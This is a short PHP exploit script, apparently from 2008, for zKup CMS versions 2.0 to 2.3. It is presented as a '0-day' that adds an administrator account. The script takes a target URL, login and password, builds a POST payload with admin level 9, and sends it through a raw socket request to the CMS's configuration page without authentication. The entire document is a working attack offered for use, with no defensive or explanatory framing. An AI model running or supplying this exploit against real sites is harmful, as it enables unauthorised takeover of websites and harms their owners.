#!/usr/bin/php
<?php
/*
* Name: zKup CMS v2.0 <= v2.3 0-day exploit (add admin)
* Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
* Date: 03-08-2008
* Conditions: None.
*
* This exploit add a new zKup admin.
*
*/
print "\n";
print " zKup CMS v2.0 <= v2.3 0-day exploit (add admin)\n";
print " by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";
if($argc<4) { print "usage: php zkup2_admin_exploit.php <url> <login> <passwd>\n eg: php zkup2_admin_exploit.php http://127.0.0.1/votresite/ real p4ssw0rd";exit(-1); }
$url = $argv[1];
$log = $argv[2];
$pas = $argv[3];
$postit = "action=ajout&login=$log&mdp=$pas&mdp2=$pas&lvl=9";
print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n";
else print "failed.\n";
function post($url,$data,$get=1)
{
$result = '';
preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
$host = $info[1];
$page = $info[2];
$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
$req = "POST $page HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "User-Agent: Mozilla Firefox\r\n";
$req .= "Connection: close\r\n";
$req .= "Content-type: application/x-www-form-urlencoded\r\n";
$req .= "Content-length: ".strlen( $data )."\r\n";
$req .= "\r\n";
$req .= $data."\r\n";
fputs($fp,$req);
if($get) while(!feof($fp)) $result .= fgets($fp,128);
fclose($fp);
return $result;
}
?>
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